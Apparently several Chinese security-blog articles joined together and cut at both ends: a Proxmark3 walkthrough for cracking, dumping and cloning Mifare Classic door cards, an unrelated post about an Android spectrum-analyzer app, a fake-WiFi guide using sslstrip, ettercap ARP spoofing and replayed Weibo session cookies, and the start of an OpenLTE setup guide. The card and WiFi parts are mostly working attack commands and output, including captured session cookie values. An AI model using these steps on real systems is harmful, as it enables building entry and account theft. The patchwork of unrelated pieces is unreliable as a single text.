4d3a99c351dd chk default key[6] 1a982c7e459a chk default key[7] d3f7d3f7d3f7 chk default key[8] 714c5c886e97 chk default key[9] 587ee5f9350f chk default key[10] a0478cc39091 chk default key[11] 533cb6c723f6 chk default key[12] 8fd0a4f256e9 --SectorsCnt:0 block no:0x03 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:1 block no:0x07 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:2 block no:0x0b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:3 block no:0x0f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:4 block no:0x13 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:5 block no:0x17 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:6 block no:0x1b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:7 block no:0x1f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:8 block no:0x23 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:9 block no:0x27 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:10 block no:0x2b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:11 block no:0x2f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:12 block no:0x33 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:13 block no:0x37 key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:14 block no:0x3b key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:15 block no:0x3f key type:A key count:13 Found valid key:[ffffffffffff] --SectorsCnt:0 block no:0x03 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:1 block no:0x07 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:2 block no:0x0b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:3 block no:0x0f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:4 block no:0x13 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:5 block no:0x17 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:6 block no:0x1b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:7 block no:0x1f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:8 block no:0x23 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:9 block no:0x27 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:10 block no:0x2b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:11 block no:0x2f key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:12 block no:0x33 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:13 block no:0x37 key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:14 block no:0x3b key type:B key count:13 Found valid key:[ffffffffffff] --SectorsCnt:15 block no:0x3f key type:B key count:13 Found valid key:[ffffffffffff] proxmark3> 成功获得卡片key。 2.3 利用PRNG漏洞,执行mifare “DarkSide”攻击 proxmark3> hf mf mifare ------------------------------------------------------------------------- Executing command. Expected execution time: 25sec on average :-) Press the key on the proxmark3 device to abort both proxmark3 and client. ------------------------------------------------------------------------- uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(090a070d060b0501) nr(00000000) |diff|{nr} |ks3|ks3^5|parity | +----+--------+---+-----+---------------+ | 00 |00000000| 9 | c |0,0,0,0,0,0,0,0| | 20 |00000020| a | f |0,0,0,0,0,0,0,0| | 40 |00000040| 7 | 2 |0,0,0,0,0,0,0,0| | 60 |00000060| d | 8 |0,0,0,0,0,0,0,0| | 80 |00000080| 6 | 3 |0,0,0,0,0,0,0,0| | a0 |000000a0| b | e |0,0,0,0,0,0,0,0| | c0 |000000c0| 5 | 0 |0,0,0,0,0,0,0,0| | e0 |000000e0| 1 | 4 |0,0,0,0,0,0,0,0| parity is all zero,try special attack!just wait for few more seconds... key_count:0 Key not found (lfsr_common_prefix list is null). Nt=218e1cd8 Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce... uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d0407030d070c04) nr(00000001) |diff|{nr} |ks3|ks3^5|parity | +----+--------+---+-----+---------------+ | 00 |00000001| d | 8 |0,0,0,0,0,0,0,0| | 20 |00000021| 4 | 1 |0,0,0,0,0,0,0,0| | 40 |00000041| 7 | 2 |0,0,0,0,0,0,0,0| | 60 |00000061| 3 | 6 |0,0,0,0,0,0,0,0| | 80 |00000081| d | 8 |0,0,0,0,0,0,0,0| | a0 |000000a1| 7 | 2 |0,0,0,0,0,0,0,0| | c0 |000000c1| c | 9 |0,0,0,0,0,0,0,0| | e0 |000000e1| 4 | 1 |0,0,0,0,0,0,0,0| parity is all zero,try special attack!just wait for few more seconds... key_count:0 Key not found (lfsr_common_prefix list is null). Nt=218e1cd8 Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce... uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d040e0e0c010e00) nr(00000002) |diff|{nr} |ks3|ks3^5|parity | +----+--------+---+-----+---------------+ | 00 |00000002| d | 8 |0,0,0,0,0,0,0,0| | 20 |00000022| 4 | 1 |0,0,0,0,0,0,0,0| | 40 |00000042| e | b |0,0,0,0,0,0,0,0| | 60 |00000062| e | b |0,0,0,0,0,0,0,0| | 80 |00000082| c | 9 |0,0,0,0,0,0,0,0| | a0 |000000a2| 1 | 4 |0,0,0,0,0,0,0,0| | c0 |000000c2| e | b |0,0,0,0,0,0,0,0| | e0 |000000e2| 0 | 5 |0,0,0,0,0,0,0,0| parity is all zero,try special attack!just wait for few more seconds... p1:0 p2:0 p3:0 key:ffffffffffff p1:29e5f p2:18a2b p3:1 key:b8b2a3c07af9 p1:2ba97 p2:19a40 p3:2 key:b5ba0002b5ea p1:2c3fd p2:19fb9 p3:3 key:b4b979ba49de p1:3de0e p2:24775 p3:4 key:968a7a09c714 p1:3fdf4 p2:25a7a p3:5 key:931b36c268ed p1:54f81 p2:32426 p3:6 key:6ecaf371a99d p1:58b75 p2:34777 p3:7 key:6860b744915b p1:616dd p2:3998a p3:8 key:59747d7fdf41 p1:63400 p2:3ab54 p3:9 key:56476bbef406 p1:64ae0 p2:3b844 p3:a key:53dc6ee57a91 p1:6dc19 p2:40e78 p3:b key:44554ae362a1 p1:708f8 p2:42956 p3:c key:3f83eb143dd6 p1:7abf0 p2:48987 p3:d key:2e2b8565f96b p1:7b298 p2:48d82 p3:e key:2d70e3e38553 p1:8420b p2:4e219 p3:f key:1e238b63e204 p1:8ce60 p2:53484 p3:10 key:0f4b7cb380a5 key_count:17 ------------------------------------------------------------------ Key found:ffffffffffff Found valid key:ffffffffffff proxmark3> 通过这一方式,同样可以获得卡片的key,不过很多时候还是要靠运气,因为不是所有的卡片都存在这种漏洞。如果不存在PRNG漏洞,我们则需要通过嗅探卡片和读卡器之间通信的数据包解出卡片的Key。 使用PM3进行中间人攻击嗅探通信数据包的方法可参考:RFID Hacking③:使用ProxMark3嗅探银行闪付卡信息,以及RadioWar团队的 利用Proxmark3监听M1卡交互过程,算出某一区的key 0×03 dump卡片数据&数据处理 使用上述方法,我们成功获得卡片key,接下来我们便可以使用key导出卡片中的所有数据(dumpdata) proxmark3> hf mf nested 1 0 A ffffffffffff d --block no:00 key type:00 key:ff ff ff ff ff ff etrans:0 Block shift=0 Testing known keys. Sector count=16 nested... Time in nested: 0.030 (inf sec per key) ----------------------------------------------- Iterations count: 0 |---|----------------|---|----------------|---| |sec|key A |res|key B |res| |---|----------------|---|----------------|---| |000| ffffffffffff | 1 | ffffffffffff | 1 | |001| ffffffffffff | 1 | ffffffffffff | 1 | |002| ffffffffffff | 1 | ffffffffffff | 1 | |003| ffffffffffff | 1 | ffffffffffff | 1 | |004| ffffffffffff | 1 | ffffffffffff | 1 | |005| ffffffffffff | 1 | ffffffffffff | 1 | |006| ffffffffffff | 1 | ffffffffffff | 1 | |007| ffffffffffff | 1 | ffffffffffff | 1 | |008| ffffffffffff | 1 | ffffffffffff | 1 | |009| ffffffffffff | 1 | ffffffffffff | 1 | |010| ffffffffffff | 1 | ffffffffffff | 1 | |011| ffffffffffff | 1 | ffffffffffff | 1 | |012| ffffffffffff | 1 | ffffffffffff | 1 | |013| ffffffffffff | 1 | ffffffffffff | 1 | |014| ffffffffffff | 1 | ffffffffffff | 1 | |015| ffffffffffff | 1 | ffffffffffff | 1 | |---|----------------|---|----------------|---| Printing keys to bynary file dumpkeys.bin... proxmark3> 在这一过程中,在PM3当前工作目录下生成了dumpkey.bin文件: 接下来我们执行hf mf dump便能获得整张卡片的数据: proxmark3> hf mf dump |-----------------------------------------| |------ Reading sector access bits...-----| |-----------------------------------------| Command execute timeout Sending bytes to proxmark failed #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED #db# READ BLOCK FINISHED |-----------------------------------------| |----- Dumping all blocks to file... -----| |-----------------------------------------| #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' #db# READ BLOCK FINISHED Dumped card data into 'dumpdata.bin' proxmark3> 此时,卡片数据已经被导出到PM3主目录下的dumpdata.bin这个二进制文件中: 但是PM3并不能识别、使用二进制文件,我们还需要使用脚本将这一个二进制文件转换成eml格式的文本信息: proxmark3> script run dumptoemul.lua --- Executing: ./scripts/dumptoemul.lua, args'' Wrote an emulator-dump to the file 2CF0550B.eml -----Finished proxmark3> dumptoemul脚本成功将dumpdata.bin二进制文件转换成以卡片ID值命名的eml格式文件: 我们来对比一下这两个文件: 效果已经很明显了,脚本已经将乱码的二进制文件转换成了txt文本信息。 dumptoemul.lua脚本的功能也可以用Python语言来实现:bin2txet.py #!/usr/bin/python from __future__ import with_statement import sys import binascii READ_BLOCKSIZE = 16 def main(argv): argc = len(argv) if argc < 3: print 'Usage:', argv[0], 'dumpdata.bin output.txt' sys.exit(1) with file(argv[1], "rb") as file_inp, file(argv[2], "w") as file_out: while True: byte_s = file_inp.read(READ_BLOCKSIZE) if not byte_s: break hex_char_repr = binascii.hexlify(byte_s) file_out.write(hex_char_repr) file_out.write("\n") if __name__ == '__main__': main(sys.argv) python bin2text.py dumpdata.bin output.txt mv output.txt 2CF0550B.eml 清除仿真内存的各区块数据: hf mf eclr 把从卡片中导出的数据加载到PM3设备中: proxmark3> hf mf eload 2CF0550B Loaded 64 blocks from file: 2CF0550B.eml 使用PM3模拟门禁卡: proxmark3> hf mf sim uid:N/A, numreads:0, flags:0 (0x00) #db# 4B UID: 2CF0550B proxmark3> 这时我们可以使用PM3来实现通过门禁。另外一种方式:把从卡片导出的数据从PM3设备内存中克隆到白卡里,使用克隆卡片通过门禁v proxmark3> hf mf cload e Cant get block: 1 bingo 0×04 安全建议 目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡,没有去进行加密认证或开发专用的密钥,其安全隐患远比Mifare卡的破解更危险,非法破解的人士只需采用专业的技术手段就可以完成破解过程。 门禁厂商、管理员:做好防护工作加强安全意识,尽量避免使用默认key、安全性低的key;对卡片和门禁读卡器使用身份认证&验证机制,绝对不能直接使用原始IC卡的UID号或ID卡的ID号去做门禁卡! 用户:妥善保管自己的门禁卡,避免信息泄露。 物联网IOT的高速发展,无线通信技术的应用也日趋广泛。本文仅通过门禁系统案例揭露NFC、RFID相关协议&技术存在的一些安全隐患。 我们现实生活中也有真实存在的案例:2010年北京一卡通被爆存在漏洞,可随意修改卡内余额,个人猜测这里很有可能是通过利用mifare卡片的PRNG漏洞来实现的。2014年,国外安全研究员发现台湾铁路、公交系统的悠游卡(EasyCard)同样存在PRNG漏洞,可修改卡片余额,并向悠游卡公司反馈报告了这一漏洞: 0×05 系列文章 RFID Hacking①:突破门禁潜入FreeBuf大本营 RFID Hacking②:PM3入门指南 RFID Hacking③:使用ProxMark3嗅探银行闪付卡信息 0×06 Refer Mifare Classic 1k – cracker les clefs et lire le tag avec Proxmark3 offensive-security.com : Cloning RFID Tags with Proxmark 3 RadioWar : Proxmark3使用案例 DefCon 23 HOW TO TRAIN YOUR RFID HACKING TOOLS backtrack-linux.org : RFID Cooking with Mifare Classic BlackHat 2013 USA RFID Hacking Live Free or RFID Hard 原文地址:http://www.freebuf.com/articles/wireless/109151.html
Over the last week I've been working on a new project, trying to build a spectrum analyzer for Android that works with my hackrf_android library. Now I finally reached the point were it is stable enough to be useful and I created the GitHub repository today: https://github.com/demantz/RFAnalyzer It is still very basic and I have a lot of ideas to extend its functionality, but I thought it's better to have testers involved as early as possible. Eventually it should evolve in something similar to GQRX, supporting different modes and devices. But that will take some time! The new version of RF Analyzer (1.07) has now support for AM/FM demodulation! It is now also available on Google Play: See the readme on GitHub for a more detailed description! RF Analyzer running on a Nexus 5 In this blog I'm going to show what you can do with the app and in the end I explain how it is working internally for those who like to play with the source code. I also tried to document the code as good as possible, but it is always easier if the basic flow of the program is explained before looking at it. What you can do with it Right now there aren't many fancy features. The app will present you with a simple UI showing the frequency spectrum including a waterfall plot. Here is a list of what you can do right now with version 1.00: Browse the spectrum by scrolling horizontally Zoom in and out, both horizontally and vertically Adjust the sample rate and center frequency to match the current view of the screen by double tapping Auto scale the vertical axis Jump directly to a frequency Adjust the gain settings of the HackRF Select a pre-recorded file as source instead of a real HackRF Change the FFT size Setting the frame rate either to a fixed value or to automatic control Activate logging and showing the log file I'm planning to also support the rtl-sdr in the future and of course I want to include the actual demodulation for common analog modes like AM, FM, SSB, ... But so far you can only browse the spectrum. Here is how you get it to work: Plug the HackRF into your Android device using an OTG (on-the-go) cable. You can get those cables for around 3$ and you can also find them as Y-version which enables external powering the HackRF, for those phones/tablets that don't deliver enough power. After you start RF Analyzer you can hit the start button in the action bar and it should prompt you for the permission to access the USB device. Once you did that the FFT will start: FFT at 20 Msps showing FLEX pagers at 931 MHz Use common gestures to zoom and scroll both vertically and horizontally. Note that the vertical axis of the FFT plot also affects the colors of the waterfall plot: Zoomed in (both vertical and horizontal) view If you scroll outside the current range of the FFT or if you zoom so that the resolution of the FFT is too low you can simply double tap the screen. RF Analyzer will re-tune the HackRF to the frequency currently centered on the screen and also ajust the sample rate so that the FFT covers exactly the frequency range that is currently visible: The resolution of the FFT is too low when zoomed in too closely. And we scrolled to far right that we can see the end of the FFT on the right site After double tapping the HackRF is tuned to 931,61 MHz (note the DC offset peak!) and the sample rate is now adjusted to about 2.5 Msps so that we see the full FFT resolution again You can also use the autoscale button in the action bar to adjust the vertical scale so that it ranges from the minimum to the maximum of the currently visible values of the FFT: If you want to jump to a certain frequency, use the 'set frequency' button and it will prompt you to enter a new frequency: The gain settings of the HackRF (both VGA and LNA gain) can be accessed through the 'set gain' button in the overflow menu: In the settings activity you can: Select other source types (currently only HackRF or file source) Set the FFT size Set the screen orientation (auto / landscape / portrait) Turn autostart on and off (so that you don't have to hit the start button every time) Set the frame rate to auto or a fixed value (useful if you want a linear time axis in the waterfall plot) Deactivate vertical zoom and scrolling (so that you don't accidentally alter the vertical scale while scrolling through frequencies) Turn on logging and set the location of the log file. Show the log file Settings Activity of RF Analyzer on a Nexus 7 Implementing the file source was helpful for debugging the application. It is also a way to test the app if you don't have an OTG cable or your phone/tablet doesn't output enough power for the HackRF. Selecting the file source type will allow you to use RF Analyzer with recorded samples from hackrf_transfer or Test_HackRF. I've uploaded a short capture of some FLEX pager signals for testing: FLEX Pager at 931MHz (2Msps) How it works For those who want to play with the sources of RF Analyzer (GPLv2) I want to quickly explain the internal structure of the app: (Uncomplete) class diagram of RF Analyzer. Underlined classes are running in seperate threads. Gray elements are external modules. To support different devices I defined a common interface that is implemented by all classes which represent sources of IQ samples. The Scheduler will continuously read samples from the source to prevent the receive buffers of the device to fill up. It forwards samples in packets of the size of the FFT to the AnalyzerProcessingLoop by inserting them in a queue. If the queue is full, the samples are thrown away in order to not block the input device. The AnalyzerProcessingLoop also runs in a separate thread and reads the sample packets from the queue, processes them with the help of the FFT class and then calls draw() on the AnalyzerSurface. This method draws the given FFT samples on a SurfaceView and also draws a new line of the waterfall plot as well as the horizontal and vertical axis. For a more detailed impression of how the app works, have a look into the sources on GitHub. I tried my best to add helpful comments to understand the flow of the program. If you have any questions, comments or any other input, don't hesitate to leave a comment or contact me directly on Twitter: @dennismantz Have fun testing it! ;) Here is the video were I demonstrate the old version of RF Analyzer: 原文地址:http://tech.mantz-it.com/2014/10/rf-analyzer-explore-frequency-spectrum.html
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 实验环境 操作系统:Kali 1.0 (VM) FackAP: easy-creds 硬件:NETGEAR wg111 v3 RTL8187B 网卡(kali下免驱) 靶机:安卓、iPhone设备 0×01 环境搭建 git clone https://github.com/brav0hax/easy-creds cd easy-creds bash install.sh 选择第一项:1. Debian/Ubuntu and derivatives 这一步设定easy-creds的安装目录:/opt ,安装过程中会从国外网站下载一些依赖包以及第三方软件,这一过程中建议通过FQ来节省时间。 当看到提示happy hunting的时候便意味着安装完成了: 0×02 根据上述步骤已将easy-creds安装到Kali中,我们可以在终端执行easy-creds运行,接下来我们需要对软件、系统参数进行一些修改: 2.1 修改etter uid、gid值 &开启iptables端口转发 kali中自带了中间人攻击的一些工具,如:ettercap,在第一次使用ettercap时,我们需要修改其默认配置文件/etc/ettercap/etter.conf: (有的系统中,ettercap的配置文件路径为:/etc/etter.conf) 需要我们把ettercap的ec_uid、ec_gid的值修改为0:以系统最高权限运行。 另外,如果系统使用了iptables防火墙,还需取消#后的注释使iptables配置生效,将: # if you use iptables: #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" 修改为: # if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" 2.2 开启ipv4数据包转发: echo 1 >> /proc/sys/net/ipv4/ip_forward 2.3 配置iptables规则: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 2.4 运行sslstrip sslstrip -l 8080 2.5 开启网络管理 &重启网络管理服务 vim /etc/NetworkManager/NetworkManager.conf 将managed=false修改为managed=true: 重启网络管理服务: service network-manager restart 0×03 运行easy-creds 终端执行:easy-creds 选择第三项:FakeAP Attacks 选择第一项:FakeAP Attack Static y确定包含sidejacking劫持攻击: 下一步选择WIFI网络的流量入口:eth0 选择无线网络接口&设备:wlan0 设定WIFI-SSID:CMCC WIFI网络信道:5 mon0 n at0 n 为无线网络设置网段:192.168.88.0/24 设定DNS服务器:8.8.8.8 完成之后,easy-creds启动了Airbase-NG、DMESG、SSLStrip、Ettercap tunnel、URL snarf、Dsniff等工具: 红色部分显示安卓、iPhone靶机成功连入钓鱼WIFI环境,URL snarf也捕获到了两台设备正在访问的网站网址等信息。 0×04 Hacking for fun 4.1 “绵羊墙” driftnet是一款简单而使用的图片捕获工具,能够捕获到网络数据包中的图片,同时支持抓取和显示音频文件,可用于捕获微信朋友圈中的相片、微博配图等等。 driftnet -i at0 (-i指定监听的网络接口) 4.2 MITM中间人攻击 Ettercap利用ARP欺骗,监听同一网段内某台主机甚至所有主机的网络通信流量,抓取其它主机通信流量中的Cookie等信息: ettercap -i at0 -T -M arp:remote /192.168.88.1/ // (通过ARP欺骗,监听192.168.88.0/24 网段所有主机通信流量) 4.3 利用Cookie登陆受害者账户 利用Cookie前,我们需要下载浏览器的一些Cookie相关的插件,如cookie manager、cookie editor。 这里我使用了:Modify Headers for Google Chrome 4.3.1 捕获到的微博Cookie数据: Wed Jul 20 11:27:50 2016 TCP 192.168.88.100:50664 --> 180.149.139.248:80 | AP GET /unread?t=1468985586846 HTTP/1.1. Host: m.weibo.cn. Connection: keep-alive. User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/13F69 UCBrowser/10.9.19.815 Mobile. Cookie: H5_INDEX=3; H5_INDEX_TITLE=0xroot; SUB=_2A256ilXJDeTxGeVK7VAY8y3KyjiIHXVWdXuBrDV6PUJbkdBeLRb1kW2Qqy_JChRgGgUi-REU1X25o5jdzQ..; SUHB=0y0p0SAr00Gj3K; _T_WM=132ca5c49dea82a69fb16ebcdaae493a; gsid_CTandWM=4um4CpOz5VMlYWGOqKlx8ewRL9U. Accept: application/json, text/javascript, */*; q=0.01. X-Requested-With: XMLHttpRequest. Accept-Language: zh-cn. Referer: http://m.weibo.cn/. Accept-Encoding: gzip,deflate. . 4.3.2 清空浏览器内weibo.cn的Cookie: 4.3.3 导入微博Cookie 选择右上角+ 增加Cookie: Action=Modify Name=Cookie Value=H5_INDEX=3; H5_INDEX_TITLE=0xroot; SUB=_2A256ilXJDeTxGeVK7VAY8y3KyjiIHXVWdXuBrDV6PUJbkdBeLRb1kW2Qqy_JChRgGgUi-REU1X25o5jdzQ..; SUHB=0y0p0SAr00Gj3K; _T_WM=132ca5c49dea82a69fb16ebcdaae493a; gsid_CTandWM=4um4CpOz5VMlYWGOqKlx8ewRL9U. 4.3.4 访问m.weibo.cn: 0×05 嗅探数据包&协议分析 5.1 wireshark 5.2 tcpdump tcpdump -i at0 -w sniffe.dump 5.3 ssltrips嗅探https加密流量 捕获HTTPS通信传输中的账号、密码: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 ssltrips -p -l 8080 -w log.txt 0×06 注意事项 1.easy-creds生成的日志文件过大,建议在/tmp目录中启动easy-creds(即使忘了删easy-creds日志,系统重启后自动清空/tmp目录) 2.如果连入钓鱼热点的设备不能联网了及时检查:/proc/sys/net/ipv4/ip_forward cat /proc/sys/net/ipv4/ip_forward 当发现值为0的时候需再次执行: echo 1 >> /proc/sys/net/ipv4/ip_forward 3.easy-creds目前不兼容kali 2.0,所以不建议在kali 2.0 系统中安装easy-creds; 4.目前测试easy-creds只支持移动设备接入WIFI,测试过程中发现笔记本(win 7)接入WIFI不能联网。 0×07 安全建议 1.不随便连陌生 WIFI,及时注销登录状态可使Cookie时效; 2.不使用WIFI时及时关闭手机WIFI,避免自动连入诸如CMCC这一类的公共开放无线热点。 0×08 refer Ettercap Man In The MIddle Attack + SSL Strip 原文地址:http://www.freebuf.com/articles/wireless/108830.html
0×00 前言 在移动互联网大规模发展的背景下,智能手机的普及和各种互联网应用的流行,致使对无线网络的需求呈几何级增长,导致移动运营商之间的竞争愈发激烈。但由于资费下调等各种因素影响,运营商从用户获得的收益在慢慢减少,同时用于减少韵味和无线网络的升级投资不断增加,但收入却增长缓慢。为保证长期盈利增长,运营商必须节流。 SDR Software Define Radio 软件定义无线电可将基站信号处理功能尽量通过软件来实现,使用通用硬件平台可快速地实现信号的调制解调,编码运算,SDR为现有通信系统建设提供了全新思路,给技术研究开发降低了成本、并提供了更快的实现方式。(引用 基于开源SDR实现LTE系统对比) SDR是否能打破传统运营商在通信行业的垄断呢? 另外值得关注的是:国外安全大会上从数年前2G GSM攻击议题到近期的LTE 4G安全议题,基站通信安全一直备受安全爱好者关注。 在这一背景下,国外OpenLTE开源项目成为热门话题: OpenLTE是在Linux系统下的使用GNURadio软件开发包实现的3GPP通信协议的一个开源项目,主要实现一个简单的4G基站的功能。在文章后面的内容中,我们将分享如何搭建、使用OpenLTE. 至于使用BladeRF搭建GSM基站的内容可阅读: GSM BTS Hacking: 利用BladeRF和开源BTS 5搭建基站 GSM Hacking:使用BladeRF、树莓派、YatesBTS搭建便携式GSM基站 Demo: 小百科: 2G网络是指第二代无线蜂窝电话通讯协议,是以无线通讯数字化为代表,能够进行窄带数据通讯。常见2G无线通讯协议有GSM频分多址(GPRS和EDGE和CDMA ) 传输速度很慢。 3G网络是第三代无线蜂窝电话通讯协议,主要是在2G的基础上发展了高带宽的数据通信,并提高了语音通话安全性。3G一般的数据通信带宽都在500Kb/s以上。目前3G常用的有3种标准:WCDMA、CDMA2000、TD-SCDMA,传速速度相对较快,可以很好的满足手机上网等需求。 4G网络是指第四代无线蜂窝电话通讯协议,该技术包括TD-LTE和FDD-LTE两种制式,是集3G与WLAN于一体并能够传输高质量视频图像以及图像传输质量与高清晰度电视不相上下的技术产品。 4G系统能够以100Mbps的速度下载,比拨号上网快2000倍,上传的速度也能达到20Mbps,并能够满足几乎所有用户对于无线服务的要求。 那么除去安全方面,2G、3G、4G之间有什么不同呢?对于用户而言,2G、3G、4G网络最大的区别在于传速速度不同。 给你一个秒懂的例子: 2G秒看苍老师.txt 3G秒看苍老师.jpg 4G秒看苍老师.avi: 0×01 环境搭建 OS:Ubuntu GnuRadio 3.7 BladeRF HackRF 1.1 BladeRF 1.1.1 驱动 mkdir bladeRF wget -c https://github.com/Nuand/bladeRF/archive/master.zip unzip master.zip cd bladeRF-master cd host mkdir build cd build cmake -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=/usr/local -DINSTALL_UDEV_RULES=ON ../ make -j4 make install > install.log ldconfig 1.1.2 BladeRF 固件 wget -c http://www.nuand.com/fx3/bladeRF_fw_v1.8.0.img bladeRF-cli -f bladeRF_fw_v1.8.0.img -v verbose 1.2 GNURadio mkdir gnuradio cd gnurdio wget http://www.sbrac.org/files/build-gnuradio chmod a+x 